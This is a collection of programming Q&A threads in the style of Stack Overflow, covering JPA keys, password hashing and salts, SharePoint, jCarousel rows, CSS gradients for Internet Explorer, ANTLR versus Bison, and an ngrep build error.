<p>I consider that <code>@EmbeddedId</code> is probably more verbose because with <code>@IdClass</code> you cannot access the entire primary key object using any field access operator. Using the <code>@EmbeddedId</code> you can do like this:</p> <pre><code>@Embeddable class EmployeeId { name, dataOfBirth } @Entity class Employee { @EmbeddedId EmployeeId employeeId; ... } </code></pre> <p>This gives a clear notion of the fields that make the composite key because they are all aggregated in a class that is accessed trough a field access operator.</p> <p>Another difference with <code>@IdClass</code> and <code>@EmbeddedId</code> is when it comes to write HQL :</p> <p>With <code>@IdClass</code> you write:</p> <pre>select e.name from Employee e</pre> <p>and with <code>@EmbeddedId</code> you have to write:</p> <pre>select e.employeeId.name from Employee e</pre> <p>You have to write more text for the same query. Some may argue that this differs from a more natural language like the one promoted by <code>IdClass</code>. But most of the times understanding right from the query that a given field is part of the composite key is of invaluable help.</p>
Should database variable-length text fields be powers of 2? <p>A friend of mine claims that in a typical database, using (for example) <code>nvarchar[256]</code> will give marginally better performance than <code>nvarchar[200]</code> or <code>nvarchar[250]</code> because of the granularity of page allocations.</p> <p>Is there any truth to this whatsoever?</p> <p>Thanks!</p>
<p>This is not true. Tables are allocated on disk in 8k pages. When a table is read from disk, the entire page is read in one IO operation and stored in memory. Therefore, the length of a column will not affect memory alignment at all. In fact, with non-variable length data types, shorter is definitely better: an nchar(200) column will allow more rows per page than an nchar(256) column. This allows more rows to be read per single physical IO, which can have a <strong><em>dramatic</em></strong> affect on database performance.</p>
How to add a new SharePoint alert via Web Services <p>I found the Alert Service but it only seems to have methods for Getting and Deleting. How do I add a new alert?</p>
<p>After some better searching I found this:</p> <p><a href="http://groups.google.com/group/microsoft.public.sharepoint.portalserver/browse_thread/thread/9cf658fd6791e2b8/509ead400091f673?hl=en&amp;lnk=st&amp;q=add+sharepoint+alert+web+services#509ead400091f673" rel="nofollow">http://groups.google.com/group/microsoft.public.sharepoint.portalserver/browse_thread/thread/9cf658fd6791e2b8/509ead400091f673?hl=en&amp;lnk=st&amp;q=add+sharepoint+alert+web+services#509ead400091f673</a></p> <p><em>AFAIK there is no web service available that will allow you to add or edit alerts so I think you have two options.</em> </p>
What is the easiest way to encrypt a password when I save it to the registry? <p>Currently I'm writing it in clear text <em>oops!</em>, it's an in house program so it's not that bad but I'd like to do it right. How should I go about encrypting this when writing to the registry and how do I decrypt it?</p> <pre><code>OurKey.SetValue("Password", textBoxPassword.Text); </code></pre>
<h1>You don't decrypt authentication passwords!</h1> <p>Hash them using something like the SHA256 provider and when you have to challenge, hash the input from the user and see if the two hashes match.</p> <pre><code>byte[] data = System.Text.Encoding.ASCII.GetBytes(inputString); data = new System.Security.Cryptography.SHA256Managed().ComputeHash(data); String hash = System.Text.Encoding.ASCII.GetString(data); </code></pre> <p>Regarding the down-votes: justify your decision, please... Leaving passwords reversible is a <em>really</em> horrible model.</p> <p>Edit2: I thought we were just talking about front-line authentication. Sure there are cases where you want to encrypt passwords for other things that need to be reversible but there should be a 1-way lock on top of it all (with a very few exceptions).</p> <p>I've upgraded the hashing algorithm but for the best possible strength you want to keep <a href="http://stackoverflow.com/q/2138429/12870">a private salt and add that to your input <em>before</em> hashing it</a>. You would do this again when you compare. This adds another layer making it even harder for somebody to reverse.</p>
a script on this page is causing ie to run slowly <p>The problem is in the title - IE is misbehaving and is saying that there is a script running slowly - FF and Chrome don't have this problem.</p> <p>How can I find the problem . .there's a lot of JS on that page. Checking by hand is not a good ideea</p> <p><strong>EDIT :</strong> It's a page from a project i'm working on... but I need a tool to find the problem.</p> <p><strong>End :</strong> It turned out to be the UpdatePanel - somehow it would get "confused" and would take too long to process something. I just threw it out the window - will only use JQuery from now on :D.</p> <p>And I'm selecting Remy Sharp's answere because I really didn't know about the tool and it seems pretty cool.</p>
<p>Long running scripts are detected differently by different browsers:</p> <ul> <li>IE will raise the warning once 5 million statements have been executed (<a href="http://support.microsoft.com/kb/175500">more info on MSDN</a>)</li> <li>Firefox will warn if the script takes longer than 10 seconds (<a href="http://support.mozilla.com/en-US/kb/Warning%20Unresponsive%20script">more info on MDN</a>)</li> <li>Safari will warn if the script takes longer than 5 seconds</li> <li>Chrome (1.0) has no set limit and will simply keep trying until an OutOfMemory exception at which point it crashes</li> <li>Opera will just continue to run forever, without warning.</li> </ul> <p><a href="http://www.nczonline.net/blog/2009/01/05/what-determines-that-a-script-is-long-running/">Nicholas Zakas has written an excellent article covering this topic.</a></p> <p>As such - the best way to avoid these problems is by reducing looping, recursion and DOM manipulation.</p>
Scrum/Agile: How do you plan in internal improvements? <p>I have now worked on two different teams that use the Agile/Scrum approach in the last two years and both teams were eager to improve the way they approach software development. In the first team, we could easily convince our product owner to get time for internal things like improving the build system, setting up better integration tests, having a better release strategy etc. Right now the PO is also willing to give us time, but he is more pushing back, which is reasonable as he also must get his things done. </p> <p>Anyway my question is now, how do other teams handle this? Do you create an improvement story and put it on the table during planning or do you keep a "bucket" of time around for such things? How difficult is it in your experience to convince the product owner to do get time for improving? After all these kind of improvements will benefit the team, but not directly or immediately the prodcut owner/business.</p>
<p>Great question. I think there are several flavors of "action items" from retrospectives that deserve different approaches.</p> <p>1) technical tasks to address things like technical debt or infrastructure improvements - like "We should ensure we have no database calls in the view layer of our application, cuz that caused us to waste time in this past iteration... somebody should do a search through the code to make sure we're not doing that someplace else."</p> <p>2) process improvements (e.g. "folks aren't coming to the standups on time... lets start a $1 for charity donation whenever someone's late".)</p> <p>The first category can be significant work, or it might be straightforward. The example I showed was pretty easy... but might generate other tasks that need to be scheduled (e.g. removing the database calls in the 5 locations where they were discovered).</p> <p>The second category should be handled/driven by the iteration manager, project manager, scrum manager, etc. I (as a Scrum Master or Project Manager) usually list them on a project wiki and talk about them in retrospectives, check them off when they're addressed, and report to the team on status. I keep the fire lit.</p> <p>I think the mistake in the first category - technical tasks - is that we don't define acceptance criteria. Your examples included "improving the build system, setting up better integration tests, having a better release strategy". These are non-deterministic and need to be enumerated in crisp terms (using spikes if necessary). So - improving the build system might start with a technical task or a spike to assess options.</p> <p>We also need to break-down and prioritize technical tasks (e.g. maybe "better integration tests" could start with a technical task of defining the current integration coverage, or assessing the percentage of bugs that could be blamed on integration failures to build the case for investment there.</p> <p>Once you have your priorities set, then you can convey the value of the high priority items and negotiate with the product owner for time to spend on them. I'm not a big fan of predefined buckets to spend on anything... but having the conversation with the product owner with crisp requirements, ROI, and acceptance criteria is key.</p>
Advantages of Antlr (versus say, lex/yacc/bison) <p>I've used lex and yacc (more usually bison) in the past for various projects, usually translators (such as a subset of EDIF streamed into an EDA app). Additionally, I've had to support code based on lex/yacc grammars dating back decades. So I know my way around the tools, though I'm no expert.</p> <p>I've seen positive comments about Antlr in various fora in the past, and I'm curious as to what I may be missing. So if you've used both, please tell me what's better or more advanced in Antlr. My current constraints are that I work in a C++ shop, and any product we ship will not include Java, so the resulting parsers would have to follow that rule.</p>
<p>One major difference is that ANTLR generates an LL(*) parser, whereas YACC and Bison both generate parsers that are LALR. This is an important distinction for a number of applications, the most obvious being operators:</p> <pre><code>expr ::= expr '+' expr | expr '-' expr | '(' expr ')' | NUM ; </code></pre> <p>ANTLR is entirely incapable of handling this grammar as-is. To use ANTLR (or any other LL parser generator), you would need to convert this grammar to something that is not left-recursive. However, Bison has no problem with grammars of this form. You would need to declare '+' and '-' as left-associative operators, but that is not strictly required for left recursion. A better example might be dispatch:</p> <pre><code>expr ::= expr '.' ID '(' actuals ')' ; actuals ::= actuals ',' expr | expr ; </code></pre> <p>Notice that both the <code>expr</code> and the <code>actuals</code> rules are left-recursive. This produces a much more efficient AST when it comes time for code generation because it avoids the need for multiple registers and unnecessary spilling (a left-leaning tree can be collapsed whereas a right-leaning tree cannot). </p> <p>In terms of personal taste, I think that LALR grammars are a lot easier to construct and debug. The downside is you have to deal with somewhat cryptic errors like shift-reduce and (the dreaded) reduce-reduce. These are errors that Bison catches when generating the parser, so it doesn't affect the end-user experience, but it can make the development process a bit more interesting. ANTLR is generally considered to be easier to use than YACC/Bison for precisely this reason.</p>
Simple C++ UML w/ reverse engineering <p>I need a way to build C++ code from UML diagrams and vice versa. </p> <p>Should be simple too hopefully. I don't mind paying too much.</p>
<p>You could try <a href="http://www.sparxsystems.com.au/products/ea/index.html" rel="nofollow">Sparx Enterprise Architect</a> but the code quality would be average, not excellent.</p> <p>I am not aware of any great automatic code generators for C++</p> <p>Prices start from $135</p>
How can I fill in a Sharepoint List edit form offline using Windows Mobile 5.0 Quickly? <p>I need a method for a user to quickly enter info using a Handheld Symbol MC9090 scanner running windows Mobile 5.0 from a power off state</p> <p>Currently it takes approx 1 min from power off state for user to enter data into a sharepoint list. I need to get the time down to seconds. It takes approx 30secs for handheld to establish wireless connection and another 30 seconds for user to connect to server</p> <p>Currently we have Symbol MC9090 scanners running windows Mobile 5.0. The user has to use terminal services to connect to a server were they then enter info. We use terminal services because mobile internet explorer doesn't work well with sharepoint forms we are using and is slow.</p> <p>I have yet to find an easy method to create custom mobile forms for sharepoint lists.</p> <p>Is it possible to create an app that would collect data on the mobile and when the wireless connection was active sync the local data with the server?</p>
<p>Your delay is all to do with network connections and starting up terminal services.</p> <p>You could write a program for your mobile devices to enter and store information and later sync with SharePoint via its web services.</p> <p>This gives an example of how to use the web services</p> <ul> <li><a href="http://www.developer.com/tech/article.php/3104621" rel="nofollow">http://www.developer.com/tech/article.php/3104621</a></li> </ul> <p>This is the official documentation for the web services</p> <ul> <li><a href="http://msdn.microsoft.com/en-us/library/ms479390.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/ms479390.aspx</a></li> </ul> <p>How to get started with windows mobile</p> <ul> <li><a href="http://msdn.microsoft.com/en-us/windowsmobile/default.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/windowsmobile/default.aspx</a></li> </ul>
MovieClip isn't removed from Dictionary <p>I have a Dictionary where I hold data for movieclips, and I want the data to be garbage collected if I stop using the movieclips. I'm using the weak keys parameters, and it works perfectly with other data, however I've run into a problem. </p> <p>This code works great:</p> <pre><code>var mc = new MovieClip(); var dic = new Dictionary(true); dic[mc] = 12; mc = null; System.gc(); System.gc(); for (var obj in dic) trace(obj); //this doesn't execute </code></pre> <p>But when I actually use the movieclip, it stops working:</p> <pre><code>var mc = new MovieClip(); var dic = new Dictionary(true); dic[mc] = 12; addChild(mc); removeChild(mc); mc = null; System.gc(); System.gc(); for (var obj in dic) trace(obj); //this prints [object Movieclip] </code></pre> <p>Why does this happen? Is it something I'm doing wrong? Is there a workaround?</p> <p>Edit: I know that for this specific example I can use <code>delete dic[mc]</code>, but of course this is a simplified case. In general, I don't want to manually have to remove the movieclip from the dictionary, but it should be automatic when I don't reference it anymore in the rest of the application.</p> <p>Edit2: I tried testing what Aaron said, and came up with just weird stuff... just iterating the dictionary (without doing anything) changes the behaviour:</p> <pre><code>var mc = new MovieClip(); var dic = new Dictionary(true); dic[mc] = 12; addChild(mc); removeChild(mc); mc = null; for (var objeto in dic) {} // &lt;-- try commenting out this line addEventListener('enterFrame', f); // I print the contents every frame, to see if // it gets removed after awhile function f(evento) { System.gc(); System.gc(); for (var objeto in dic) trace(objeto); } </code></pre> <p>This keeps printing [object Movieclip] every frame, unless I comment out the indicated line, where it doesn't print anything.</p>
<p>I believe that the problem is one of timing. I think that when you call remove child, the reference count isn't getting updated until later in the "frame". (I think this is what is happening anyway.)</p> <p>The code below demonstrates why I think this is true. (I'm using flex, but it appears to reproduce your issue.)</p> <p>The code below outputs: </p> <pre><code>[object MovieClip] here </code></pre> <p>If you call otherfoo directly at the end of somefoo(), you get:</p> <pre><code>[object MovieClip] here [object MovieClip] </code></pre> <p><hr /></p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" layout="absolute" mouseDown="somefoo()"&gt; &lt;mx:Script&gt; &lt;![CDATA[ import mx.core.UIComponent; private var dic:Dictionary = new Dictionary(true); private var ui:UIComponent = new UIComponent(); private var mc:MovieClip = new MovieClip(); private function somefoo():void { this.addChild(ui); dic[mc] = 12; ui.addChild(mc); ui.removeChild(mc); for (var obj:Object in dic) trace(obj); //this prints [MovieClip] this.removeChild(ui); // callLater causes the function to be called in the _next_ frame. callLater(otherfoo); } private function otherfoo():void { trace("here"); mc = null; System.gc(); System.gc(); for (var obj:Object in dic) trace(obj); //this prints [MovieClip] } ]]&gt; &lt;/mx:Script&gt; &lt;/mx:Application&gt; </code></pre>
The necessity of hiding the salt for a hash <p>At work we have two competing theories for salts. The products I work on use something like a user name or phone number to salt the hash. Essentially something that is different for each user but is readily available to us. The other product randomly generates a salt for each user and changes each time the user changes the password. The salt is then encrypted in the database.</p> <p>My question is if the second approach is really necessary? I can understand from a purely theoretical perspective that it is more secure than the first approach, but what about from a practicality point of view. Right now to authenticate a user, the salt must be unencrypted and applied to the login information. </p> <p>After thinking about it, I just don't see a real security gain from this approach. Changing the salt from account to account, still makes it extremely difficult for someone to attempt to brute force the hashing algorithm even if the attacker was aware of how to quickly determine what it was for each account. This is going on the assumption that the passwords are sufficiently strong. (Obviously finding the correct hash for a set of passwords where they are all two digits is significantly easier than finding the correct hash of passwords which are 8 digits). Am I incorrect in my logic, or is there something that I am missing?</p> <p><strong>EDIT:</strong> Okay so here's the reason why I think it's really moot to encrypt the salt. (lemme know if I'm on the right track). </p> <p>For the following explanation, we'll assume that the passwords are always 8 characters and the salt is 5 and all passwords are comprised of lowercase letters (it just makes the math easier).</p> <p>Having a different salt for each entry means that I can't use the same rainbow table (actually technically I could if I had one of sufficient size, but let's ignore that for the moment). This is the real key to the salt from what I understand, because to crack every account I have to reinvent the wheel so to speak for each one. Now if I know how to apply the correct salt to a password to generate the hash, I'd do it because a salt really just extends the length/complexity of the hashed phrase. So I would be cutting the number of possible combinations I would need to generate to "know" I have the password + salt from 13^26 to 8^26 because I know what the salt is. Now that makes it easier, but still really hard. </p> <p>So onto encrypting the salt. If I know the salt is encrypted, I wouldn't try and decrypt (assuming I know it has a sufficient level of encryption) it first. I would ignore it. Instead of trying to figure out how to decrypt it, going back to the previous example I would just generate a larger rainbow table containing all keys for the 13^26. Not knowing the salt would definitely slow me down, but I don't think it would add the monumental task of trying to crack the salt encryption first. That's why I don't think it's worth it. Thoughts?</p> <p>Here is a link describing how long passwords will hold up under a brute force attack: <a href="http://www.lockdown.co.uk/?pg=combi">http://www.lockdown.co.uk/?pg=combi</a></p>
<p>Hiding a salt is unnecessary.</p> <p>A different salt should be used for every hash. In practice, this is easy to achieve by getting 8 or more bytes from cryptographic quality random number generator.</p> <p>From a <a href="http://stackoverflow.com/questions/55862/how-to-implement-password-protection-for-individual-files#55904">previous answer of mine</a>:</p> <p>Salt helps to thwart pre-computed dictionary attacks.</p> <p>Suppose an attacker has a list of likely passwords. He can hash each and compare it to the hash of his victim's password, and see if it matches. If the list is large, this could take a long time. He doesn't want spend that much time on his next target, so he records the result in a "dictionary" where a hash points to its corresponding input. If the list of passwords is very, very long, he can use techniques like a Rainbow Table to save some space.</p> <p>However, suppose his next target salted their password. Even if the attacker knows what the salt is, his precomputed table is worthless—the salt changes the hash resulting from each password. He has to re-hash all of the passwords in his list, affixing the target's salt to the input. Every different salt requires a different dictionary, and if enough salts are used, the attacker won't have room to store dictionaries for them all. Trading space to save time is no longer an option; the attacker must fall back to hashing each password in his list for each target he wants to attack.</p> <p>So, it's not necessary to keep the salt secret. Ensuring that the attacker doesn't have a pre-computed dictionary corresponding to that particular salt is sufficient.</p> <hr> <p>After thinking about this a bit more, I've realized that fooling yourself into thinking the salt can be hidden is dangerous. It's much better to assume the salt cannot be hidden, and design the system to be safe in spite of that. I provide a more detailed explanation <a href="http://stackoverflow.com/questions/4807677/why-does-php-crypt-prepend-the-salt-to-the-hash/4808616#4808616">in another answer.</a></p>
Selenium RC: Run tests in multiple browsers automatically <p>So, I've started to create some Ruby unit tests that use <a href="http://selenium-rc.openqa.org/" rel="nofollow">Selenium RC</a> to test my web app directly in the browser. I'm using the <a href="http://github.com/ph7/selenium-client/tree/master" rel="nofollow">Selenum-Client</a> for ruby. I've created a base class for all my other selenium tests to inherit from.</p> <p>This creates numerous SeleniumDriver instances and all the methods that are missing are called on each instance. This essentially runs the tests in parallel.</p> <p><strong>How have other people automated this?</strong></p> <p>This is my implementation:</p> <pre><code>class SeleniumTest &lt; Test::Unit::TestCase def setup @seleniums = %w(*firefox *iexplore).map do |browser| puts 'creating browser ' + browser Selenium::SeleniumDriver.new("localhost", 4444, browser, "http://localhost:3003", 10000) end start open start_address end def teardown stop end #sub-classes should override this if they want to change it def start_address "http://localhost:3003/" end # Overrides standard "open" method def open(addr) method_missing 'open', addr end # Overrides standard "type" method def type(inputLocator, value) method_missing 'type', inputLocator, value end # Overrides standard "select" method def select(inputLocator, optionLocator) method_missing 'select', inputLocator, optionLocator end def method_missing(method_name, *args) @seleniums.each do |selenium_driver| if args.empty? selenium_driver.send method_name else selenium_driver.send method_name, *args end end end end </code></pre> <p>This works, but if one browser fails, the whole test fails and there is no way to know which browser it failed on.</p>
<p>Did you try <a href="http://selenium-grid.openqa.org/how_it_works.html" rel="nofollow">Selenium Grid</a>? I think it creates pretty good summary report which shows details you need. I may be wrong, as I didn't use it for quite a while.</p>
Boost like libraries in C <p>Can you recommend peer reviewed libraries that I can use in C environment (something like Boost for C++) ? Something that provides hash, thread, interprocess communications, lists, smart memory management...</p> <p>The environment is embedded system, not a very minimal system, but also not a PC!</p> <p>Thanks! Amit</p>
<p>+1 for <a href="http://library.gnome.org/devel/glib/stable/">GLib</a> from me, too. Plus, it has its own <a href="http://library.gnome.org/devel/glib/stable/glib-Threads.html">threading API</a> too, so you don't have to learn pthreads if you don't want to.</p> <p>Not sure if there exists such a thing as "smart memory management" in C, it's not very easy when you don't have the safety nets of destructors and control over operators. But, again, GLib has plenty of memory-oriented data structures and stuff that really makes life easier. </p> <p>And no, I'm not on the GLib team, but I really do like it. :)</p>
bring a console window to front in c# <p>How can I bring a console application window to front in C# (especially when running the Visual Studio debugger)?</p>
<p>It's hacky, it's horrible, but it works for me (thanks, <a href="http://pinvoke.net/">pinvoke.net</a>!):</p> <pre><code>using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Threading; public class Test { [DllImport("user32.dll")] [return: MarshalAs(UnmanagedType.Bool)] static extern bool SetForegroundWindow(IntPtr hWnd); [DllImport("user32.dll", EntryPoint="FindWindow", SetLastError = true)] static extern IntPtr FindWindowByCaption(IntPtr zeroOnly, string lpWindowName); public static void Main() { string originalTitle = Console.Title; string uniqueTitle = Guid.NewGuid().ToString(); Console.Title = uniqueTitle; Thread.Sleep(50); IntPtr handle = FindWindowByCaption(IntPtr.Zero, uniqueTitle); if (handle == IntPtr.Zero) { Console.WriteLine("Oops, cant find main window."); return; } Console.Title = originalTitle; while (true) { Thread.Sleep(3000); Console.WriteLine(SetForegroundWindow(handle)); } } } </code></pre>
Where do I plug in into WCF to be notified when a message arrives? <p>I'm writing a sample console service host and I want to plug into WCF stack to be able to print a message to console when new message arrives, even if it won't get processed by the service at the moment (because service is working on previous calls). This is based on my assumption that messages arriving get queued by the WCF, is that correct?</p> <p>Additionally, I'm using netTcpBinding if this is important. </p>
<p>You probably have to write a custom channel for that. Check out <a href="http://wcf.netfx3.com/files/folders/product_team/entry3550.aspx" rel="nofollow">WCF Channels Mini Book</a></p>
Multiple rows with jcarousel <p>I'm trying to use jcarousel to build a container with multiple rows, I've tried a few things but have had no luck. Can anyone make any suggestions on how to create it?</p>
<p>This is .js code substitutions according to @Sike and a little additional of me, the height was not set dynamically, now it is.</p> <pre><code>var defaults = { vertical: false, rtl: false, start: 1, offset: 1, size: null, scroll: 3, visible: null, animation: 'normal', easing: 'swing', auto: 0, wrap: null, initCallback: null, setupCallback: null, reloadCallback: null, itemLoadCallback: null, itemFirstInCallback: null, itemFirstOutCallback: null, itemLastInCallback: null, itemLastOutCallback: null, itemVisibleInCallback: null, itemVisibleOutCallback: null, animationStepCallback: null, buttonNextHTML: '&lt;div&gt;&lt;/div&gt;', buttonPrevHTML: '&lt;div&gt;&lt;/div&gt;', buttonNextEvent: 'click', buttonPrevEvent: 'click', buttonNextCallback: null, buttonPrevCallback: null, moduleWidth: null, rows: null, itemFallbackDimension: null }, windowLoaded = false; this.clip.addClass(this.className('jcarousel-clip')).css({ position: 'relative', height: this.options.rows * this.options.moduleWidth }); this.container.addClass(this.className('jcarousel-container')).css({ position: 'relative', height: this.options.rows * this.options.moduleWidth }); if (li.size() &gt; 0) { var moduleCount = li.size(); var wh = 0, j = this.options.offset; wh = this.options.moduleWidth * Math.ceil(moduleCount / this.options.rows); wh = wh + this.options.moduleWidth; li.each(function() { self.format(this, j++); //wh += self.dimension(this, di); }); this.list.css(this.wh, wh + 'px'); // Only set if not explicitly passed as option if (!o || o.size === undefined) { this.options.size = Math.ceil(li.size() / this.options.rows); } } </code></pre> <p>This is the call in using the static_sample.html of the code bundle in the download of jscarousel:</p> <pre><code>&lt;script type="text/javascript"&gt; jQuery(document).ready(function() { jQuery('#mycarousel').jcarousel( { scroll: 1, moduleWidth: 75, rows:2, animation: 'slow' }); }); &lt;/script&gt; </code></pre> <p>In case you need to change the content of the carousel and reload the carousel you need to do this:</p> <pre><code>// Destroy contents of wrapper $('.wrapper *').remove(); // Create UL list $('.wrapper').append('&lt;ul id="carousellist"&gt;&lt;/ul&gt;') // Load your items into the carousellist for (var i = 0; i &lt; 10; i++) { $('#carouselist').append('&lt;li&gt;Item ' + i + '&lt;/li&gt;'); } // Now apply carousel to list jQuery('#carousellist').jcarousel({ // your config }); </code></pre> <p>The carousel html definition needs to be like this:</p> <pre><code>&lt;div class="wrapper"&gt; &lt;ul id="mycarousel0" class="jcarousel-skin-tango"&gt; ...&lt;li&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; </code></pre> <p>Thanks to <a href="http://www.cabezabomba.com/webcidentes/?p=308">Webcidentes</a></p>
Gradient colors in Internet Explorer <p>I know that Internet Explorer has some proprietary extensions so that you can do things like create divs with a gradient background. I can't remember the element name or it's usage. Does anyone have some examples or links?</p>
<p>The code I use for all browser gradients:</p> <pre class="lang-css prettyprint-override"><code>background: #0A284B; background: -webkit-gradient(linear, left top, left bottom, from(#0A284B), to(#135887)); background: -webkit-linear-gradient(#0A284B, #135887); background: -moz-linear-gradient(top, #0A284B, #135887); background: -ms-linear-gradient(#0A284B, #135887); background: -o-linear-gradient(#0A284B, #135887); background: linear-gradient(#0A284B, #135887); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#0A284B', endColorstr='#135887'); zoom: 1; </code></pre> <p>You will need to specify a height or <code>zoom: 1</code> to apply <code>hasLayout</code> to the element for this to work in IE.</p> <hr> <p><strong>Update:</strong></p> <p>Here is a LESS Mixin (CSS) version for all you LESS users out there:</p> <pre class="lang-css prettyprint-override"><code>.gradient(@start, @end) { background: mix(@start, @end, 50%); filter: ~"progid:DXImageTransform.Microsoft.gradient(startColorStr="@start~", EndColorStr="@end~")"; background: -webkit-gradient(linear, left top, left bottom, from(@start), to(@end)); background: -webkit-linear-gradient(@start, @end); background: -moz-linear-gradient(top, @start, @end); background: -ms-linear-gradient(@start, @end); background: -o-linear-gradient(@start, @end); background: linear-gradient(@start, @end); zoom: 1; } </code></pre>
SVN: Dealing with "dead" files <p>I have an SVN repository. Over time, as I edit, modify, change, etc, some files are made redundant/unwanted.</p> <p>What's the best practice: to delete the files from SVN, or just to zero the files out? Or is there a third option that I'm missing? </p> <p>Thanks. </p>
<p>If you delete unneeded files from Subversion, they are still available in the history. They don't disappear forever. So I would "svn rm" them.</p>
A good Code snippet tool or plugin for Word documents? <p>Does anyone know of a good tool or plugin that enables Microsoft Word or OpenOffice Writer to add code snippets to a document in a clean manner? </p> <p>I'm not sure if such a plug-in even exists, so redirecting me to any other tool that can help me would be appreciated.</p>
<p>I simply type out the snippet in Visual Studio and then copy paste it into word. It preserves all the code formatting.</p> <p>The only other thing I do is change the font to Consolas.</p>
"error: 'struct udphdr' has no member named 'source'" ... huh? <p>I'm trying to compile a program called ngrep, and when I ran configure, things seemed to go well, but when I run make, I get:</p> <pre><code>ngrep.c: In function ‘process’: ngrep.c:544: error: ‘struct udphdr’ has no member named ‘source’ ngrep.c:545: error: ‘struct udphdr’ has no member named ‘dest’ make: *** [ngrep.o] Error 1 </code></pre> <p>What does that mean, and how do I fix it? There are no earlier warnings or errors that suggest the root of the problem.</p>
<p>Found the problem:</p> <pre><code>#ifdef HAVE_DUMB_UDPHDR printf("%s:%d -", inet_ntoa(ip_packet-&gt;ip_src), ntohs(udp-&gt;source)); printf("&gt; %s:%d", inet_ntoa(ip_packet-&gt;ip_dst), ntohs(udp-&gt;dest)); #else printf("%s:%d -", inet_ntoa(ip_packet-&gt;ip_src), ntohs(udp-&gt;uh_sport)); printf("&gt; %s:%d", inet_ntoa(ip_packet-&gt;ip_dst), ntohs(udp-&gt;uh_dport)); #endif </code></pre> <p>Apparently, configure has a bug in this test, and it thinks my system has the "dumb" udphdr, even though it doesn't. Changing the first line to "#if 0" fixes the problem.</p>
Using XQuery in Linq To SQL? <p>Let's say I have a table that has a column of XML type data. Within SQL, I can execute the following statement:</p> <pre><code>select top 10 *, Content.value('(/root/item/value)[1]', 'float') as Value from xmltabletest where Content.value('(/root/item/MessageType)[1]', 'int') = 1 </code></pre> <p>The result set contains only the records matching the criteria, and it extracts a value from the XML into a column called 'Value'. Nice and simple.</p> <p>Can the same thing be achieved with Linq To SQL?</p> <p>I'd like to get SQL to do the heavy lifting and only return data matching my criteria rather than having to select, transfer, and then process a potentially massive chunk of data. As far as I can tell this isn't possible at the moment, but I thought I should ask.</p> <p>(The environment is .NET 3.5, VS2008, SQL Server 2005 if that helps)</p>
<p>I'm not exactly sure if this is out of date now, but according to <a href="http://weblogs.asp.net/scottgu/archive/2007/05/29/linq-to-sql-part-2-defining-our-data-model-classes.aspx#2691097">Scott Guthrie</a> XML datatypes are: </p> <blockquote> <p>represented as strings in LINQ to SQL Entities. You could use XLINQ to query on an XML column within your LINQ to SQL entitiy - but this querying would happen in your middle-tier (within ASP.NET). You can't execute a remote XQuery against the database and filter returned results based on that in the first release.</p> </blockquote> <p>So in answer to your question, I'd say "no."</p>
XHTML: <a> tag to multiple destinations in multiple target frames? <p>I'm working on a table of links within a site using iframes. I'm wondering if there's any way to code a link to go to two simultaneous destinations within two different target frames? I've been reading all afternoon and can't find anything close to what I want to do. Basically I want one link to present a photo in one iframe and some data in another iframe. Any ideas?</p>
<p>Short answer: No.</p> <p>Longer answer: With what you describe, using strictly X/HTML, this isn't possible. You could add in javascript to change the iframe src, however. Something like:</p> <pre><code>function click_link(id) { document.getElementById('iframe1').src = "page.ext?id=" + id; document.getElementById('iframe2').src = "other_page.ext?id=" + id; } </code></pre> <p>But of course, you probably shouldn't be using iframes anyways...</p>
How "self-documenting" can code be without being annoying? <p>I am not sure what the best practices are here, but I often see abbreviated variable names especially when the scope is small. So (to use simple Ruby examples) instead of <code>def add_location(name, coordinates)</code>, I see things like <code>def add_loc(name, coord)</code>—and I might even see something like <code>def add_loc(n, x, y)</code>. <em>I imagine that longer names might tire a person out whose used to seeing abbreviations.</em></p> <p>Does verbosity help readability, or does it just hurt everyone's eyes?—Do people prefer abbreviations and shortened names over longer names?</p>
<p>Personally, I would MUCH rather see longer names that actually mean something without having to determine the context first. Of course, variables that don't lend real meaning, such as counters, I still use small meaningless variable names (such as <code>i</code> or <code>x</code>), but otherwise <strong>verbosity is clarity</strong> most of the time. This is especially true with public APIs.</p> <p>This can be taken too far, however. I've seen some VB code in the past that way ridiculous. Moderation like everything else!</p>
RadioButtonList exception <p>After I upgraded to the beta, I'm having trouble with Html.RadioButtonList. Can someone show me what I'm doing wrong?</p> <p>The code:</p> <pre><code>&lt;% Html.RadioButtonList( "voter" + voter.Id, new SelectList(new[]{"yes","no","abstain"}, "yes")).Each(x =&gt; Response.Write(x)); %&gt; </code></pre> <p>And the exception I get:</p> <pre><code>[ArgumentNullException: Value cannot be null. Parameter name: value] System.Web.Mvc.Html.InputExtensions.RadioButton(HtmlHelper htmlHelper, String name, Object value, Boolean isChecked, IDictionary`2 htmlAttributes) +214 Microsoft.Web.Mvc.&lt;&gt;c__DisplayClass1.&lt;RadioButtonListInternal&gt;b__0(ListItem item) in c:\dd\Cicero\src\Mvc\main\src\MvcFutures\Mvc\RadioExtensions.cs:86 System.Linq.WhereSelectListIterator`2.MoveNext() +107 System.Linq.Buffer`1..ctor(IEnumerable`1 source) +259 System.Linq.Enumerable.ToArray(IEnumerable`1 source) +81 Microsoft.Web.Mvc.RadioListExtensions.RadioButtonListInternal(HtmlHelper htmlHelper, String name, SelectList selectList, Boolean usedViewData, IDictionary`2 htmlAttributes) in c:\dd\Cicero\src\Mvc\main\src\MvcFutures\Mvc\RadioExtensions.cs:88 Microsoft.Web.Mvc.RadioListExtensions.RadioButtonList(HtmlHelper htmlHelper, String name, SelectList selectList) in c:\dd\Cicero\src\Mvc\main\src\MvcFutures\Mvc\RadioExtensions.cs:29 </code></pre> <p>Many thanks in advance!<br /> Rob </p>
<p>It looks like you may have found a bug in the MVC framework. The other overloads of RadioButtonList seem to work just fine, but that particular overload barfs.</p> <p>From looking at Reflector (and using the stack trace) I looks like things go awry at this line:</p> <pre><code> return selectList.GetListItems().Select&lt;ListItem, string&gt;(delegate (ListItem item) { return htmlHelper.RadioButton(name, item.Value, item.Selected, htmlAttributes); }).ToArray&lt;string&gt;(); </code></pre> <p>In the Microsoft.Web.Mvc.RadioListExtensions.RadioButtonListInternal method. I assume this code worked fine in Preview 5?</p>
